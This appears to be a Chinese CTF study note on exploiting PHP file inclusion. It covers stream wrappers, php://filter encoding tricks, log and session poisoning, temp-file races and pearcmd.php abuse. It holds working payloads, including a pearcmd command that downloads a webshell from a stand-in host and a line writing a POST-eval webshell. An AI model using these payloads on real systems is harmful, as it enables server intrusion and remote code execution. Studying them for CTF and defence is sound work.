PHP文件包含
PHP文件包含
CH0ico0x01 伪协议
PHP伪协议,也称为PHP流包装器,是一种在PHP中用于访问各种数据源的机制。这些数据源可以是本地文件系统、远程文件系统、PHP代码、压缩文件等。PHP伪协议允许开发者以统一的方式处理这些不同的数据源。
以下默认为: include $_GET[‘file’] , 且/?file=
1 ) file: //
用于访问本地文件系统
1 | file://../../../../flag.php |
2 ) http(s): //
用于访问HTTP或HTTPS的URL
1 | http://www.CH0ico.fun/index.html |
3 ) ftp: //
用于访问FTP服务器
1 | ftp://ftp.example.com/pub/flag.txt |
4 ) phar: //
用于访问PHP归档文件(Phar)
1 | phar://../../../choco.phar |
5 ) data: //
用于将文本或base64编码的数据作为字符串流访问
data 伪协议是一种用于内嵌数据的伪协议,它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中,从而减少 HTTP 请求的数量,并提高页面加载速度
1 | // normal |
6 ) 部分少见伪协议
- **glob://**:用于查找匹配特定模式的文件。
- 例如:
glob:///path/to/directory/*.txt
- 例如:
- **zip://**:用于访问ZIP归档文件中的文件。
- 例如:
zip:///path/to/your.zip#file.txt
- 例如:
- **bzip2://**:用于访问bzip2压缩文件。
- 例如:
bzip2:///path/to/yourfile.tar.bz2
- 例如:
- **compress.zlib://**:用于访问通过zlib压缩的数据。
- 例如:
compress.zlib:///path/to/yourfile.txt.gz
- 例如:
7 ) php: //
用于访问各种输入/输出流
filter
获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以一般对其进行编码,让其不执行。从而导致任意文件读取。
这个主要结合file_put_contents( )函数一块使用, 其中涉及到过滤器, 放在下一小节详细记录
1 | /?file=php://filter/read=convert.base64-encode/resource=choco.php |
include
用于读取POST数据
如果遇到include “php://input”; , 只需要用bp post传参php脚本命令就行
1 | system('cd ..;cd ..;cd ..;ls;cat flag') |
0x02 过滤器
在PHP中,
php://filter
是一种特殊的流包装器,它允许你使用流过滤器对数据流进行处理。流过滤器可以用于多种目的,如转换字符编码、压缩或解压缩数据、进行字符串搜索和替换等
除了最简单的用于用编码读取敏感信息之外
1 | php://filter/read=convert.base64-encode/resource=flag.php |
在做题时遇到file_put_contents( )函数, 给了写代码的权限
1 | file_put_contents($file,<?php die() .$content); |
会在 $file 文件中写入 $content 的内容, 由于编码的原因, 前面的会变成乱码从而不执行
1 ) 转换过滤器 convert.
base64-encode & convert.base64-decode
利用base64解码,将目标代码解码成乱码,绕过检验
1 | /?file=php://filter/write=convert.base64-decode/resource=choco.php |
quoted-printable-encode & convert.quoted-printable-decode
这个过滤器作用和quoted_printable_decode()
相等
iconv.*
等同于用iconv()
函数处理所有的流数据
比如如果把contents 从UCS-2LE
编码转换为UCS-2BE
编码 写入choco.php
1 | file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=choco.php |
其中可以使用的编码方式有
1 | UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* |
2 ) 字符串过滤器 string.
rot13
对字符串执行 ROT13 转换
读:
1 | php://filter/string.rot13/resource=flag.php |
写:
1 | php://filter/write=string.rot13/resource=choco.php |
string.toupper
string.toupper 将字符串转化为大写
string.tolower
string.toupper 将字符串转化为小写
string.strip_tags
string.strip_tags从字符串中去除 HTML 和 PHP 标记,
尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
3 ) 压缩过滤器
1 | php://filter/zlib.deflate|zlib.inflate/resource=flag.php |
4 ) 加密过滤器
mcrypt.和 mdecrypt.使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法
自 PHP 7.1.0 起废弃
PHP: 加密过滤器 - Manual
0x03 配置文件
对于文件后缀被固定的包含, 无法使用伪协议
1 ) Nginx日志文件
前提条件: 有完全可控的文件包含点(没有后缀锁定) , 有日志文件路径
nginx默认日志路径 : /var/log/nginx/access.log
在数据包中的User-Agent会被写入到日志中, 如果这段内容是php代码就会被执行
因此
1 | include "file:///varlog/nginx/access.log" |
2 ) 临时文件
vweb 38
默认: /tmp/php??????, 但是php不支持通配符访问, 因此必须明确得到这个随机临时文件的名称
生命周期和php脚本一致 (脚本运行结束就删除)
突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,
它是一块内容一块内容发送的
4096个字符
假设我们能够访问phpinfo的结果 其中FILES 中存储tmp_name临时文件名字,读取后可以成功包含
不断填充字节 填充到4096时我们发送字节可控, 同时没有执行完脚本 , 也就是临时文件仍然存在
(注意同步一下LFIREQ的信息 这里应该是默认页面的路径 没有index.php就空
(竞争出结果 有很大概率失败
3 ) SESSION文件
vweb 39
php的session文件包含,upload_progress文件包含
强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS
可以往服务器的session文件内写入我们的指定内容
然后运行脚本 拿到shell地址
包含后,可以执行php代码
4 ) pearcmd.php文件
简单来说就是一个下载文件的拓展
当开启了pear扩展且 配置文件中register_argc_argv 设置为On,而默认为Off (传参时用+连接的值的个数就是argc,各个参数被存到argv里)
可以利用Pear扩展进行文件包含
默认安装位置是 /usr/local/lib/php/
以vweb 40为例
方法一 远程文件下载
(这里第一个参数choco.php用于占位)
1 | /?file=/usr/local/lib/php/pearcmd.php&choco+install+-R+/var/www/html/+http://your-shell.com/shell.php |
方法二 创建一个配置文件
-c 创建
-d 移动到配置文件夹
-s 保存
找一个可用配置项
man_dir=
1 |
|
方法三 写配置文件方式
1 | /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=$_POST[1];?>+choco.php |
5 ) 远程文件
通过域名转数字的形式,可以不用.来构造远程文件地址
https://seostudio.tools/zh/domain-to-ip 域名转ip
https://www.wetools.com/ip-to-number ipv4转数字
这样就可以include其他服务器的远程文件(木马)且绕过检验
1 |
|
0x04 通配符绕过
碰到无数字字母的题目
通配符匹配临时文件
- 本地构造upload.html,上传payload (比如system($cmd)中cmd不允许出现数字字母 , 令cmd=whoami等敏感命令)
- 在tmp临时目录下执行我们上传的内容 ( ‘.’ 执行 ‘+’ 代替空格)
1 | POST /?cmd=.+/???/????????[@-[] HTTP/1.1 |